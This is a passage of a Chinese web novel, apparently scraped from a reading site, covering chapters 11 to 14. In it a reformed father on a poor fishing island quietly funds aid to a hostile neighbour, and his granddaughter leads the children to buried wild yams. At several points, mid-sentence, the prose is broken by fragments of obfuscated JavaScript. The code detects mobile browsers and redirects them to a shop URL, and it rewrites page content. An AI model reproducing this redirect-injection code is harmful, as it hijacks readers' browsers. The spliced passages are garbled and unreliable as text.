“嗯。”沈大帆点了点头,“我直接给她,她不会领情,说不定还得骂我假好心。大队里给的,她没话说。你也好做工作。” 沈德贵看了他好一会儿,叹了口气,从兜里掏出两张工分票,递过去:“这本来就是我打算照顾她家的,你先拿着……” “不用,”沈大帆把票推回去,“大队长,你给她的和我给她的不一样。你给是公家照顾,我给就成了我欠她的了。你就当是大队里照顾困难户,别让她知道是我出的票。” 沈德贵捏着那两张票,半天没说出话来。他看着沈大帆那张晒得发红的脸,忽然觉得这个以前最让他头疼的懒汉叔,今天像是换了个人。 “行,”沈德贵把票收回去,点了点头,“那我替你张罗这事。你放心,我不提你的名。” 沈大帆没再多说,转身走了。 沈海生在不远处等着,把刚才的话听了个七七八八。他跟上沈大帆的脚步,闷声说:“爹,你图啥?借大队长的票给她,还不让她知道,自己背上债,她还不领情。” “不图啥,”沈大帆头也没回,“这票也不是可怜她何富花。” 沈海生满脸疑惑:“那是图啥?” 沈大帆没有解答。 父子俩一前一后,走在坑坑洼洼的土路上。夕阳把他们的影子拉得老长,投在那片破破烂烂的屋顶上,投在那坑坑洼洼的院墙上,投在这个穷得叮当响的小岛上。 沈德贵办事麻利,当天晚上就把何富花叫到了大队部。 “富花,”沈德贵坐在那张缺了一条腿的桌子后面,把两张工分票推过去,“这是大队里照顾你家的。你男人瘫了,家里困难,大队里研究过了,先给你两张票,换点粮食,别让孩子饿着。” 何富花看着那两张票,眼睛亮了一下,但很快又暗下去了,脸上露出一种复杂的神情。 “大队长,就两张?”她的声音又尖了起来,“两张够干啥的?我家五口人,两张票才换四斤粮食,吃几天就没了!沈大帆今天挣了那么多工分,凭啥不让他赔?” 沈德贵的脸色沉了下来:“何富花,这是大队里照顾你的!你要是不领情,就把票还给我,我给别人!” 何富花赶紧把票攥在手心里,往后退了一步:“别别别,大队长,我领情,我领情。就是……就是我家实在困难,你看能不能再多给两张……” “没了!”沈德贵一拍桌子,“就这两张还是我从牙缝里挤出来的!你要是不知足,以后啥都没有!” 何富花不敢再说了,把票塞进裤腰里,转身出了大队部。 出了门,她低头看了看裤腰,伸手摸了摸那两张票,嘴角翘了一下,但很快又拉下来了。 “两张票就想打发我?”她小声嘀咕着,步子越走越快,“沈大帆今天挣了十二个工分,十二个!凭啥他挣那么多?凭啥我男人瘫了?他沈大帆就该把工分都让给我!这是他们沈家欠我的!” 她一边走一边骂,越骂越来劲,到了家门口还在骂:“假好心!大队长也帮着他说话,真不愧是一个姓的同族兄弟!还不是看他今天干了点活?装一天就把所有人都糊弄住了?我呸!” 推开院门的时候,她还在嘀嘀咕咕的,声音不小。 屋里黑漆漆的,没点灯——不是不想点,是点不起。煤油早用完了,连个蛤蜊油都换不来,哪来的煤油? 罗贵瘫在炕上,身上盖着一床露棉花的破被子,眼睛睁着,盯着房顶,不知道在想啥。 何富花一进门,罗贵就转过头来看她。他不能动,脖子也不太灵便,转头的动作慢得很,像个生锈的机器。 “回来了?”他的声音又低又哑,像从嗓子眼里挤出来的。 “嗯。”何富花应了一声,没多说,走到灶台跟前看了看锅里的野菜糊糊,稀得能照见人影,几片菜叶子在里头飘着,连个米粒都看不见。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483524|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 何富花坐在灶台边上,把那两张工分票掏出来,在膝盖上展平了,盯着看。 罗贵听见动静,侧过头来看了看:“啥东西?” “工分票,”何富花的声音闷闷的,“大队里给的。” “大队里给的?”罗贵有些意外,“沈德贵批的?” “嗯。”何富花把票叠起来,又塞回裤腰里。 屋里安静了一会儿。 “沈大帆今天挣了多少?”罗贵忽然问。 何富花愣了一下:“你问这个干啥?” “我问你挣了多少!”罗贵的声音突然大了起来,把何富花吓了一跳。 “听说是十二个工分,”何富花撇了撇嘴,“装积极呗,拼死拼活干一天给谁看呢。” 罗贵不说话了,盯着房顶看了半天,忽然冷笑了一声:“十二个工分……他沈大帆懒了十几年,头一天上工就拿十二个?” “可不是嘛,”何富花一听这话,火气又上来了,“凭啥?凭啥他拿十二个?我男人瘫了,他倒挣上高工分了!这世道还有没有天理?大队长也是,偏心眼子,就知道帮沈家说话!” 她从裤腰里把那两张工分票又掏出来,在手里翻来覆去地看,越看越觉得不对劲。 “两张票,才四斤粮食,”她嘀咕着,“沈大帆一天就挣十二个工分,够换六斤粮食!凭啥他一天挣六斤,我家就拿四斤?这公平吗?” “那你把票退回去。”罗贵的声音冷冷的。 “退啥退?”何富花把票攥紧了,“该拿的就得拿!这两张是大队里给的,又不是沈大帆给的,凭啥退?沈大帆欠咱的,那是另一笔账!往后我还得找他算!” 她把票塞回裤腰,站起来去盛糊糊,一边盛一边骂:“装积极,假积极,干一天就骗了大队长,骗了全村人。我看他能装几天!早晚露馅!到时候我看他还有啥脸拿十二个工分!” 罗大有端着碗,听着他娘骂骂咧咧,一句话也不敢说。他低着头,一口一口地喝糊糊,野菜的苦味在嘴里化开,苦得他直皱眉。 何富花把糊糊端到炕上,小儿子还是吃奶的年纪,她给二儿子罗大壮盛了一碗,又给自己盛了一碗,坐在灶台边上喝。喝着喝着,她又想起那两张工分票,伸手摸了摸,心里头踏实了一些,但更多的还是不甘心。 四斤粮食,够吃两天的。两天以后呢?还得去找大队长要?还是去找沈大帆闹? 她喝了一口糊糊,苦着脸想:明天还得去滩头上盯着,沈大帆要是再挣那么多工分,她非得闹出个说法来不可。凭啥他过得越来越好?凭啥自家越过越惨? “不行,”她咬着牙对自己说,“不能就这么算了。沈大帆欠我家的,得一笔一笔算清楚!工分、粮票、布票,一样都不能少!他不给,我就天天去闹,闹到他给为止!” 她把碗里的糊糊一口气喝完了,把碗往灶台上一搁,又摸了摸裤腰里的工分票,这才觉得心里头舒坦了一点。 12. 想不明白! 天色擦黑的时候,沈大帆抱着沈灵宝进了院子。 沈海生跟在后面,闷着头不说话,脸色不太好看。他一进门就把那件湿透了的破蓑衣从身上扯下来,团成一团扔在墙角,蹲在地上不吭声。 王秀莲眼尖,一眼就看出大儿子不对劲,走过去轻声问:“咋了?” 沈海生没答话,只是闷声闷气地哼了一声。 沈大帆把灵宝放下来,让王秀莲领着她去洗手,自己走到沈海生跟前,也在他旁边蹲下来。 “心里不痛快?”他问。 沈海生憋了半天,终于开口了,声音压得很低,但那股子气劲儿藏都藏不住:“爹,我就是想不明白。咱家这两天吃的啥?海带汤、野菜糊糊,连口粮食都没见着。石墩昨儿晚上饿得直哭,灵宝那小脸瘦得就剩俩眼睛了。我跟弟弟们拼了命地干活,昨儿大半夜还去海边捞海菜,今儿又在水里泡了一天,手脚都泡白了——” 他摊开手掌,手心全是血泡,有的已经磨破了,露出红嫩的肉,看着就疼。 “咱辛辛苦苦挣的工分,凭啥给她何富花?她那男人又不是咱害的!她自己把罗贵推出去出海的时候咋不想想?现在出了事就赖上咱家了,凭啥?” 沈海生越说越气,声音也大了起来:“她今天在滩头上又是哭又是闹,指着咱的鼻子骂。就这种人,您还给票?给她还不如扔海里!更气人的是,您还让大队长说是大队里给的,不让她知道是咱家出的票。这不是白给吗?她拿了票,心里头还得骂咱家抠门、骂咱家没良心!” 他说完,重重地吐了一口气,别过头去。 沈大帆没急着说话,只是静静地看着儿子。大儿子这个人,前世就是这副脾气——直来直去,眼里揉不得沙子,认准的事儿九头牛都拉不回来。但他勇敢,又有把子力气,正是这副性子,让他在逃荒路上护住了不少人。 “说完了?”沈大帆问。 沈海生不吭声了。 沈大帆站起身,拍了拍膝盖上的土,声音不急不缓:“你说得对,这事儿跟咱家确实没多大关系。出海讨生活,本来就是脑袋别在裤腰带上,谁都知道有风险。罗贵出事,是天灾,不是哪个人害的。” 沈海生抬起头,眼睛亮了亮。 “但是——”沈大帆话锋一转,“那天本来轮到的是这具身体的沈大帆上工,他偷懒没去,罗贵才顶的班。这事儿,岛上人人都知道。不管是不是咱的责任,在外人眼里,就是咱家欠了罗家一份情。” 沈海生张了张嘴,想反驳,但被沈大帆抬手止住了。 “你听我说完。”沈大帆的声音沉下来,带着一种让人不得不听的份量,“你知道这岛上为啥叫石螺岛不?” 沈海生愣了一下,摇了摇头。 “我打听过了,”沈大帆说,“这岛上的人,往上数几代,都是一家人。姓陈的、姓沈的、姓罗的,七拐八拐都能攀上亲戚。你二弟媳赵文英她娘家的表姨,嫁的就是罗贵他堂叔。咱家跟罗家,拐着弯儿也沾着亲。” 沈海生刚穿过来也没几天,脑子里虽然有原来主人的记忆,但是他一直懒得梳理,因此还不知道这层关系。他愣了一下,脸上的怒气消了些,但还是一脸不服气:“沾亲又咋了?沾亲就能讹人了?” “不是讹人,”沈大帆耐心地说,“是这村里的规矩,就是这样的。你想想咱以前在山里的时候,东家盖房子,西家去帮忙,管顿饭就行,谁跟谁要工钱了?张家的狗咬了李家的羊,赔的不是钱,是一篮子鸡蛋外加一句‘对不住’。为啥?因为都是一个村的,今天你帮我,明天我帮你,谁也别把事儿做绝了。” 他顿了顿,目光往院外看了一眼。远处有几户人家亮着灯,昏黄的灯光从破窗户里透出来,隐隐约约的。 “这村里头,有时候不讲法,讲的是人情。你占了理不让人,把人逼急了,往后你家有个啥事,谁还帮你?何富花今天闹,是不讲理。咱要是跟她一样不讲理,跟她吵、跟她打,就算打赢了,村里人也会说——‘沈家这父子俩,心真硬,人家男人都瘫了,他们一分钱都不掏。’” “可咱家也没钱啊!”沈海生急了。 “所以我才给了那张票。”沈大帆说,“不是赔她,是情分。两个工分票,换不来几斤粮食,但能让村里人看见,沈家不是那种冷心冷肺的人家。往后咱家在岛上立足,要的是人心。” “可您不让她知道是咱家给的啊!”沈海生急了,声音又大了起来,“票是大队长给她的,她又不知道是咱家出的,这情分她记不到咱家头上!村里人也不知道!您这不是白给吗?” 沈大帆看着他,嘴角微微翘了翘。 “你以为大队长会替咱瞒着?” 沈海生愣了一下。 “你想想,”沈大帆说,“大队长是啥人?咱们岛上最会做人的就是他。今天我去借票的时候,他亲眼看见我手上磨的血泡,亲耳听见我说‘别让何富花知道’。你猜他回去以后,会不会跟别人念叨?” 沈海生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483525|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱着眉头想了想,好像明白了点什么。 “他跟会计老李念叨的时候,老李会不会往外传?他跟自家婆娘念叨的时候,他婆娘会不会跟别人说?”沈大帆的声音不紧不慢,“这岛上没有不透风的墙。咱越是不想让别人知道,这事儿反倒传得越快。等大伙儿都知道了沈大帆自己家揭不开锅,还跟大队长借了工分票给何富花,还不让大队长说,你说,村里人会咋看咱家?” 沈海生张了张嘴,半天说不出话来。 “这叫人托人,话传话。”沈大帆拍了拍他的肩膀,“比咱自己敲锣打鼓地嚷嚷强多了。你信不信,用不了两个月,整个石螺岛都知道这事儿。” 沈海生低着头,琢磨了好一会儿,才闷闷地说:“那何富花呢?她要是知道了,也不一定领情。说不定还得说咱家假好心,拿两张票就想买名声。” “她领不领情是她的事,”沈大帆说,“咱做不做是咱的事。你爹我活了这么大岁数,别的不敢说,看人看事还算准。这岛上的人,你对他们硬,他们比你更硬;你对他们软一分,他们反倒敬你三分。何富花闹归闹,她心里头也明白,这事儿真论起来,沈家不欠她的。她再闹下去,闹到全村人都烦了,她自己也没脸。” 沈海生低着头,不说话了。他这个人,吃软不吃硬,最怕的就是他爹跟他讲道理——因为他爹讲的道理,他从来都反驳不了。 过了好一会儿,他才闷闷地说:“我就是心疼灵宝。她才五岁,瘦成那样……” “我知道。咱家谁不疼灵宝?”沈大帆拍了拍他的肩膀,“日子会好起来的。咱们海岛渔户都是靠季节吃饭,平时都去海上、礁上上工,虽然不如外面种粮食的农户稳定安全,但挣的工分要比他们多!今天咱们挣了工分,往后天天挣,日子肯定能一天天好起来。那张票给了就给了,咱再挣就是了。” 沈海生抬起头,看着他爹。昏黄的灯光下,沈大帆那张枯瘦的脸上没有什么表情,但眼神很稳,稳得像山一样。 “行了,”沈大帆站起身,“去洗洗手,一会儿该吃饭了。” 沈海生应了一声,站起来往灶房走。走了两步又回头,犹豫了一下,问:“爹,那何富花以后要是再闹呢?” 沈大帆看了他一眼,嘴角微微翘了翘:“那就再说。她要是识趣,这情分就记下了;要是不识趣——” 他没把话说完,但那语气里的意思,沈海生听明白了。 他爹不是软柿子。 从来都不是。 13. 我们去挖! 这时候,院子里传来一阵嘻嘻哈哈的笑声。 沈家的四个小子——沈铁柱、沈铁蛋、沈石墩、沈木墩,从堂屋里跑出来,一个个跟猴儿似的,在院子里追着玩。最大的铁柱九岁,最小的木墩才四岁,四个小子凑在一起,能把屋顶掀了。 沈灵宝洗完了手,从灶房里走出来,安安静静地站在台阶上,看着几个侄子闹腾。 沈铁柱眼尖,一眼看见小姑姑,跑过来拉住她的手:“小姑姑,走,咱们出去玩!” 王秀莲从灶房里探出头来:“天都快黑了,还出去干啥?” “奶奶,我们就去村口那棵大榕树底下玩,”沈铁柱嘴甜,说话一套一套的,“就在那儿,不走远。好多小孩都在那儿呢,我们去看看。” 王秀莲犹豫了一下,看了看天色,太阳刚落山,天边还有一抹亮色,离完全黑透还有一阵子。她又看了看沈灵宝,小丫头眼睛亮亮的,显然也想去。 “行吧,”她说,“别跑远了,天彻底黑了就回来。铁柱,你最大,看好你小姑和弟弟,别让人欺负了。” “知道了奶奶!”沈铁柱拍着胸脯保证,拉着沈灵宝就往外跑,见小姑姑瘦得跑两步就喘,他赶紧把人背上往外冲。沈铁蛋、沈石墩、沈木墩跟在后面,一窝蜂地涌出院门。 石螺岛上,榕树稀少,主要还是黑松、木麻黄、相思树。村口的那棵大榕树不知道长了多少年,树冠大得像一把巨伞,遮住了半边天。树干粗得两个人都抱不住,树根从土里拱出来,盘根错节的,跟一条条大蛇似的。这里是石螺岛孩子们的天然游乐场,每天傍晚都有一群小孩在这儿玩。 沈家的几个孩子到的时候,榕树下已经聚了七八个小孩,正在玩“官兵捉贼”的游戏。 为首的是一个八九岁的男孩,长得壮实,皮肤晒得黝黑,一双眼睛滴溜溜地转,看着就机灵。他叫陈小军,是大队长沈德贵的外甥,在这一片孩子里头算是个头儿。 看见沈家孩子来了,陈小军“哟”了一声,拉着长调子说:“看看谁来了?沈家的懒虫们来了!” 旁边几个小孩跟着起哄:“懒虫懒虫,干活不行,吃饭第一名!”“今天又吃海带了吧?闻着你们身上那腥味儿,隔老远就闻见了!” 沈铁柱的脸一下子涨红了,“懒虫”这个外号他最近出门经常听到。以前沈大帆那一家人,在岛上就是出了名的懒,大人懒,小孩也跟着被人看不起。 “你——”旁边的沈铁蛋攥紧了拳头,想冲上去,但被沈铁柱拉住了。 “别,”沈铁柱是家里的大哥,性子一直稳当些,“奶奶说了,别跟人打架。” 陈小军见沈铁蛋不敢动手,更来劲了,叉着腰说:“咋的?不服气?你爹今天是不是又偷懒了?我听说你爷爷今天去上工了,是不是装装样子就回来了?哎哟,可别把手磨出泡来了,人家沈大老爷金贵着呢,哪能干得了咱们这种粗活?” 他学着大人们说话的样子,摇头晃脑的,把旁边几个小孩逗得哈哈大笑。 沈铁蛋气得直跺脚:“我爷爷才没偷懒!我爷爷今天挣了十二个工分!比你家大人还多!” 陈小军愣了一下,显然不太信,但他很快又找到了新的话头:“十二个工分又咋了?一天十二个工分能当饭吃啊?你爷爷以前偷的懒还少吗?十几年了,全村谁不知道你们沈家?你爷、你爸、你二叔、你三叔,全是懒虫!你们家连茅草屋都修不起,还好意思出来玩?” 另一个小孩也跟着起哄:“就是就是!昨儿我娘说了,沈家那破房子,刮个风都能倒,就这还好意思在岛上住?趁早搬走算了!” “你们家那院子,猪圈都比你们家干净!”陈小军越说越来劲,“你看你们几个穿的,补丁摞补丁,裤腿都不一样长,哈哈哈哈哈——” 几个小孩跟着笑,笑得前仰后合,有的还捂着肚子蹲在地上。 沈铁蛋气得眼泪在眼眶里打转,但咬着牙没让它掉下来。沈石墩和沈木墩年纪小,被笑得直往哥哥身后躲。 这时候,一直没吭声的沈铁柱慢慢开口了。他声音不大,但字字清楚:“你舅舅也姓沈。按你说的,他也是个大懒虫。” 陈小军的笑声一下子卡在嗓子眼里,他脸涨得通红:“你放屁!我舅舅可是大队长,最有本事了!全岛谁不说我舅舅能干?” 沈铁柱不紧不慢地说:“不是你说的吗?沈家都是懒虫。你舅舅不姓沈?那你叫他别姓沈了,改姓陈算了。反正你舅舅当大队长,改个姓也不难吧?” “你——你——”陈小军被噎得说不出话来,憋了半天才憋出一句,“我舅舅跟你们不一样!你们是懒虫,我舅舅是——是——” “是啥?”沈铁柱看着他,“都是一个姓,一个祖宗,凭啥你舅舅就不是懒虫了?你这话说出去,看你舅舅打不打你板子。” 旁边几个小孩不笑了,你看看我,我看看你,有几个甚至偷偷往后退了半步。有人小声嘀咕:“对啊,小军舅舅也姓沈啊……” 陈小军的脸一阵红一阵白,嘴巴张了又合,合了又张,愣是找不出一句话来反驳。他梗着脖子站了半天,最后狠狠一跺脚:“我舅舅跟你们不一样!” 沈灵宝站在最后面,安安静静地看着这一切。她没哭,也没生气,只是歪着头看了看陈小军,又看了看远处山坡的方向。 “铁柱侄子,”她忽然开口,声音不大,但清清楚楚的,“我们去那边挖东西吧。” 她指了指远处山坡脚下的一片荒地。 沈铁柱往那边看了一眼,心里头有些犹豫。那片荒地在山坡脚下,离村子有一截路,土质不好,全是沙子和碎石头,平时连草都长得稀稀拉拉的。以前他也去那儿挖过,翻半天也翻不出啥好东西,最多挖几根手指头粗的小山药蛋子,还不够塞牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483526|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝的。 再说了,天都快黑了,跑那么远去挖东西,万一啥也挖不着,回来还得被陈小军笑话。 他张了张嘴,想说“小姑姑,那片地我去过,啥也没有”,可话到嘴边又咽回去了。 他低头看了看沈灵宝。小姑姑站在他旁边,仰着小脸看着他,眼睛黑亮黑亮的,跟两颗水洗过的葡萄似的。那眼神里没有央求,也没有撒娇,就是安安静静地看着他,好像在说——你信不信我? 沈铁柱心里头忽然涌上一股说不清道不明的感觉。 逃荒那三年,最苦的时候,一家人饿得走不动路,是小姑姑说“往前走,前面有吃的”,他们就往前走,果然找到了半袋子红薯干。还有一次,小姑姑指着路边一片乱草地,他们挖了半天,真的挖出了一窝山药蛋子,救了一家子的命。 这会儿,看着小姑姑那双亮晶晶的眼睛,他心里头那点犹豫一下子就没了。 “走!”他一咬牙,“我们去挖!” 沈铁蛋吓了一跳:“哥,真去啊?那片地咱们以前挖过,啥也没有……” “去!”沈铁柱把沈灵宝往背上一背,迈开步子就走,“小姑姑说去咱们就去!” 沈铁蛋、沈石墩、沈木墩面面相觑,但大哥都走了,他们也不敢留在这儿,只好跟在后面,一路小跑着追上去。 沈家的几个孩子跟着沈灵宝,头也不回地往山坡那边走。 陈小军看着他们的背影,愣了好一会儿,回过神来嗤笑一声:“还真去了?那破地方我们都翻了个底朝天了,能挖出啥?也就沈家的人脑子不清楚,天都快黑了还去翻荒地,怕是饿疯了吧!” 有个小孩拉了拉他的袖子:“小军哥,咱们要不要也去看看?” “看啥看?傻子才去!”陈小军一挥手,嗓门老大,“那片地今儿下午我们都刨过一遍了,连根像样的草根都没剩下。就他们沈家那几个傻小子,能挖出个屁来?怕不是挖几根烂树根回去煮汤喝吧?哈哈哈——” 他学沈铁柱挖东西的样子,弯着腰在地上乱刨,逗得几个小孩又笑了起来。 “就是就是!”另一个小孩也跟着起哄,“沈家那帮懒虫,干啥啥不行,吃饭第一名。今儿他们家大人装了一天积极,挣了十二个工分,小的就跟着出去装模作样,一家子都爱唱大戏!” “等他们啥也挖不着灰溜溜地回来,看我怎么笑话他们!”陈小军双手叉腰,下巴抬得老高,“到时候我就站在这儿,问他们挖着啥了。他们要是说没挖着,我就说——‘哎呀,沈家的大少爷们也会挖东西啊?我还以为你们懒的只会去滩上捡海带吃呢!’” 他学着沈铁柱刚才说话的样子,捏着嗓子说,把几个小孩逗得前仰后合,笑得直拍大腿。 “来来来,咱们接着玩!”陈小军一招手,“别管他们了,一群傻子!等会儿他们空着手回来,有他们好看的!” 14. 山药好大! 那片荒地平日里没人打理,长满了野草和荆棘,乱糟糟的。地是沙土地,踩上去软绵绵的,到处是碎石块。 沈家的孩子们到的时候,地上果然有不少被翻动过的痕迹,坑坑洼洼的,到处是刨过的土坑,旁边扔着几根细得像火柴棍似的小山药蛋子,一看就是别人挖过不要的。有的坑边上还散着干了的草根,被人扯断扔在那儿,枯黄枯黄的,看着就寒碜。 沈铁柱蹲下来捡起一根看了看,比他的小拇指还细,皮都破了,干巴巴的,里头也是空的,根本不能吃。他皱了皱眉,没说话,把那根东西往地上一扔。 沈铁蛋蹲在地上,用手扒拉了几下土,抬头问沈灵宝:“小姑姑,咱们在哪儿挖?” 沈灵宝没急着回答,只是安安静静地往前走。她绕过几个土坑,踩过一片碎石,走到一块稍微平整些的地方,站住了。沈铁柱赶紧跟上去,生怕她摔着。 沈灵宝低下头,看了看脚下的地,又往左挪了两步,用脚点了点地面:“在这儿。” 沈铁蛋跑过来一看,那块地跟周围没什么两样,全是沙土和碎石,连根草都比别处矮一截。更关键的是,她小姑姑指的位置旁边就有一个大坑,坑边上还扔着几根被人刨断了的山药须子,一看就是别人挖过又放弃了的。 “这……别人都挖过的地方,还能有东西吗?”沈铁蛋小声嘀咕,语气里带着犹豫,“你看这坑,挖了这么深都没挖着啥,底下怕是早让人翻干净了。” 沈铁柱也蹲下来看了看那个坑。坑不算浅,少说也挖了十公分深,边上散着碎土块和断了的草根,确实像是被人仔细翻过的样子。他摸了摸坑底的石子,心里头也有些打鼓。 “挖挖看。”沈铁柱说着就蹲下来,找了块尖石头当铲子,开始刨土。他也不知道为啥,小姑姑说在这儿挖,他就想挖。心里头那股子莫名其妙的信服劲儿,他自己也说不上来是咋回事。 沈铁蛋见大哥动了手,赶紧凑过来帮忙,沈石墩也蹲下来,三个小子围在一起,你一下我一下地刨。沈木墩最小,帮不上忙,就站在旁边看着,时不时喊一声“大哥加油”。 沙土地松软,刨了几下就挖了个小坑。可坑里头啥也没有,全是沙子和碎石子,偶尔翻出几根干巴巴的草根,一碰就碎。 “小姑姑,这儿啥都没有啊。”沈铁蛋有些泄气,把手里的石头往地上一扔,揉了揉被石子硌疼的手指头。 “再挖深一点,”沈灵宝说,声音不大,但很笃定,“就在底下。” 沈铁柱咬了咬牙,继续往下挖。沈铁蛋和沈石墩也跟着使劲,哥仨一人一下,沙土飞得到处都是,溅得沈铁柱裤腿上全是泥点子。 沈灵宝站在一旁,低头看了看脚下的泥地——湿漉漉的,粘了不少碎沙石。她往里挪了挪,想离近些看。 沈铁柱眼尖,一抬头看见小姑姑的鞋底沾了泥巴,赶紧把手里的石头放下:“小姑姑,你别踩泥里,脏。” 他扭头看了看四周,瞧见旁边有几片干枯的大树叶,赶紧跑过去捡了几片,铺在沈灵宝脚底下,把那些湿泥巴盖住了。 “踩这儿,”他说,“别把鞋弄脏了。你这鞋还是二婶给你做的,弄脏了回去二婶该心疼了。” 沈铁蛋见了,也跑去捡了几片叶子,铺得更宽些。沈石墩把自己手里那几片也递过来,沈木墩不知道怎么回事,但看见哥哥们都捡叶子,也跟着捡,小手攥着一把枯叶子跑过来,全塞到沈铁柱手里。 几个小子围着沈灵宝脚底下铺了一圈树叶,大的小的,黄的绿的,铺得歪歪扭扭的,但把那一小片泥地盖得严严实实。 沈灵宝低头看了看脚底下的树叶,又抬头看了看几个侄子,乖乖地站在上面不动了。她的小脸上没什么表情,但嘴角微微翘了一下。 “行了行了,别铺了,”沈铁柱摆摆手,“赶紧挖。” 哥仨又蹲下来接着刨。这回沈铁柱把坑又往下挖了一点,石头铲子碰到的全是硬邦邦的碎石块,挖起来费劲多了。沈铁蛋的手指头磨得通红,沈石墩的指甲缝里全是泥,几个人脸上都挂了汗珠。 这时候,身后传来一阵脚步声和嬉笑声。 陈小军带着几个小孩跑过来了。他嘴上说不来,但心里还是痒痒——刚才玩“官兵捉贼”的时候老是走神,脑子里全是沈家那几个孩子去挖东西的事。玩了一会儿就觉得没意思了,跟其他几个小孩一商量,干脆跑过来看看热闹,顺便再笑话笑话他们。 他跑近一看,沈家几个孩子蹲在一块光秃秃的地上刨土,坑才挖了巴掌深,啥也没挖出来,顿时乐了。 “哈哈哈!我就说吧!”陈小军叉着腰,笑得前仰后合,“那块地我们都翻过了,连根像样的草根都没剩下,能挖出啥来?你们就是不信邪,非要在别人挖过的地方找食吃,这不是脑子有病吗?” 旁边一个小孩也跟着笑:“你看看他们挖的那坑,比脸盆还浅呢,还想挖出东西来?做梦吧!” 另一个小孩捡起地上那根细山药蛋子,在手里掂了掂,嘲笑道:“就算挖出来,也就是这种货色,跟老鼠尾巴似的,塞牙缝都不够!你们就配吃这个!” 几个小孩笑得前仰后合,围着沈家的孩子们指指点点,有的蹲下来学沈铁柱挖土的样子,有的捡起石子往他们挖的坑里扔。 “回家吧!别费劲了!天都快黑了,再挖下去连海带汤都赶不上喝了!” “就是就是!你们家不是有海带吗?回去喝你们的海带汤去吧!” “你们就是傻,明知道啥也没有还挖,哈哈哈!懒虫就算了,还是傻子,这家人算是完了!” 沈铁蛋气得浑身发抖,手里的石头攥得死紧,指甲都陷进掌心里了。他咬着牙,嘴唇哆嗦着,但硬是没吭声,一下一下地继续往下挖。沈铁柱低着头跟着挖,沈石墩也不说话,闷头刨土。三个小的蹲成一排,谁也不理那些嘲笑声,但沈铁柱能感觉到,弟弟们的手都在抖。 沈灵宝站在树叶上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483527|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安安静静的,像是没听见那些话。她的小脸上没什么表情,只是歪着头看了看坑里的土,又往旁边走了两步,用脚点了点另一块地方。 “往这边挖一点。”她说,声音不大,但清清楚楚的。 沈铁柱听了她的话,把坑往旁边扩了扩。石头铲子碰到一个硬东西,发出一声闷响——那声音跟碰到石子不一样,石子是脆的,这个声音是闷的,沉沉的,像是什么东西被从土里敲了一下。 “有了!”他眼睛一亮,扔了石头,用手扒拉了几下。 沙土底下,露出一个灰扑扑的东西,圆溜溜的,比他拳头还大。他使劲往外一拽,那东西带着一大坨泥巴被他从土里扯了出来,泥点子溅了他一脸。 “哎哟!” 是一个野山药!好大一个野山药! 那东西足有成人的拳头大,胖乎乎的,表皮粗糙,沾满了泥土,但能看出来是个好东西。沈铁柱两只手才能捧住,沉甸甸的,少说也有一斤多。他把山药上的泥巴拍了拍,露出底下黄褐色的皮,肉嘟嘟的,一看就实在。 “山药!好大的山药!”他激动得声音都变了调,举着那个野山药给弟弟们看,两只眼睛亮得跟灯泡似的。 陈小军的笑声戛然而止。 他瞪大了眼睛,看着沈铁柱手里那个大山药,嘴巴张得能塞下一个鸡蛋。旁边那几个小孩也愣住了,一个个目瞪口呆,刚才的嘲笑声全卡在嗓子眼里,一个字都蹦不出来。有个小孩甚至揉了揉眼睛,以为自己看错了。 沈铁蛋也来了劲,蹲下来接着挖。这回他往旁边刨了刨,又刨出来一个!比第一个小一点,但也不小,跟他拳头差不多大,胖墩墩的,拿在手里沉沉的。 “这儿还有!”沈石墩人小手小,扒开旁边的一丛草根,又摸出来一根,跟大人的大拇指差不多粗,长长的,黄黄的,一看就是好东西。 几个孩子顿时来了精神,围着那块地,你一下我一下地刨起来。沈铁柱用石头铲子挖,沈铁蛋用手扒拉,沈石墩蹲在地上捡,沈木墩最小,帮不上忙,就在旁边蹦蹦跳跳地喊加油,一会儿喊“大哥好厉害”,一会儿喊“二哥好厉害”,小脸红扑扑的,比过年还高兴。 